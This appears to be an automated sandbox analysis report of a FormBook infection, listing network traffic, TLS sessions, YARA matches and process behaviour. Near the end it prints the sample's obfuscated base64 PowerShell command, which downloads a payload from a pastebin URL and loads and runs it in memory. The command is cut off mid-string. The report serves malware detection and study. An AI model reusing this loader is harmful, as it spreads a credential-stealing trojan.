Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443

Source: unknown	HTTPS traffic detected: 104.22.69.199:443 -> 192.168.2.8:49693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.186.113.60:443 -> 192.168.2.8:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.22.69.199:443 -> 192.168.2.8:49695 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.186.113.60:443 -> 192.168.2.8:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.40:443 -> 192.168.2.8:49708 version: TLS 1.2

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 10.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2229860985.0000000004BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2229410762.0000000004B40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2226580404.0000000002EC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1277774749.0000000002860000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2229866615.0000000002E70000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1258834116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1262010486.0000000001930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2232234775.00000000056B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 8.2.powershell.exe.15d903ef8d0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables (downloaders) containing reversed URLs to raw contents of a paste Author: ditekSHen
Source: 8.2.powershell.exe.15d903ef8d0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects known downloader agent Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7780, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7916, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 8040, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?Ho?RgBL?GE?QQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?bgBh?EE?ZwBk?GM?V?BH?Cc?I??7?CQ?SQBl?H??RwBR?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?Ds?J?B3?GU?YgBD?Gw?aQBl?G4?d??g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?FI?VgBV?Fg?dg?g?D0?I??k?Hc?ZQBi?EM?b?Bp?GU?bgB0?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?Ho?RgBL?GE?QQ?g?Ck?I??7?CQ?UgBW?FU?W?B2?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BJ?GU?c?BH?FE?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?Cc?VQBU?EY?O??n?C??LQBm?G8?cgBj?GU?I??7?CQ?UwBU?GY?RwBs?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??y?C4?d?B4?HQ?Jw?p?C??Ow?k?F??a?By?Gw?Tg?g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?F??a?By?Gw?Tg?u?EU?bgBj?G8?Z?Bp?G4?Zw?g?D0?I?Bb?FM?eQBz?HQ?ZQBt?C4?V?Bl?Hg?d??u?EU?bgBj?G8?Z?Bp?G4?ZwBd?Do?OgBV?FQ?Rg?4?C??Ow?k?EQ?S?B6?FU?QQ?g?C??PQ?g?Cg?I?BH?GU?d??t?EM?bwBu?HQ?ZQBu?HQ?I??t?F??YQB0?Gg?I??k?Ek?ZQBw?Ec?UQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??PQ?g?CQ?U?Bo?HI?b?BO?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?EQ?S?B6?FU?QQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BT?FQ?ZgBH?Gw?I??t?GY?bwBy?GM?ZQ?g?Ds?J?BN?E8?R?BS?Gc?I??9?C??I??n?CQ?cgB5?GE?ZQBH?C??PQ?g?Cg?RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??Jw?n?Cc?I??r?C??J?BT?FQ?ZgBH?Gw?I??r?C??Jw?n?Cc?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?FU?V?BG?Dg?KQ?7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?EI?eQB0?GU?WwBd?F0?I??k?EY?eQBm?GQ?eg?g?D0?I?Bb?HM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??k?HI?eQBh?GU?Rw?u?HI?ZQBw?Gw?YQBj?GU?K??n?Cc?J??k?CQ?J??n?Cc?L??n?Cc?QQ?n?Cc?KQ?g?Ck?I??7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?FM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Cc?I??r?C??Jw?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?I??k?EY?eQBm?GQ?eg?g?Ck?Lg?n?C??Ow?k?E0?TwBE?FI?Zw?g?Cs?PQ?g?Cc?RwBl?HQ?V?B5?H??ZQ?o?C??Jw?n?E0?aQBz?GU?cgBp?GM?bwBy?GQ?aQBv?HM?bwBB?G0?ZQBu?C4?QwBs?GE?cwBz?DE?Jw?n?C??KQ?u?Ec?ZQB0?E0?Jw?g?Ds?J?BN?E8?R?BS?Gc?I??r?D0?I??n?GU?d?Bo?G8?Z??o?C??Jw?n?E0?cwBx?EI?SQBi?Fk?Jw?n?C??KQ?u?Ek?bgB2?G8?awBl?Cg?I??k?G4?dQBs?Gw?I??s?C??WwBv?GI?agBl?GM?d?Bb?F0?XQ?g?Cg?I??n?Cc?M??v?FQ?UgB4?E8?R?Ba?Dk?N??v?HI?LwBl?GU?LgBl?HQ?cwBh?H??Lw?v?Do?cwBw?HQ?d?Bo?Cc?Jw?g?Cw?I??n?Cc?JQBK?Gs?UQBh?HM?R?Bm?Gc?cgBU?Gc?JQ?n?Cc?I??s?C??Jw?n?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?
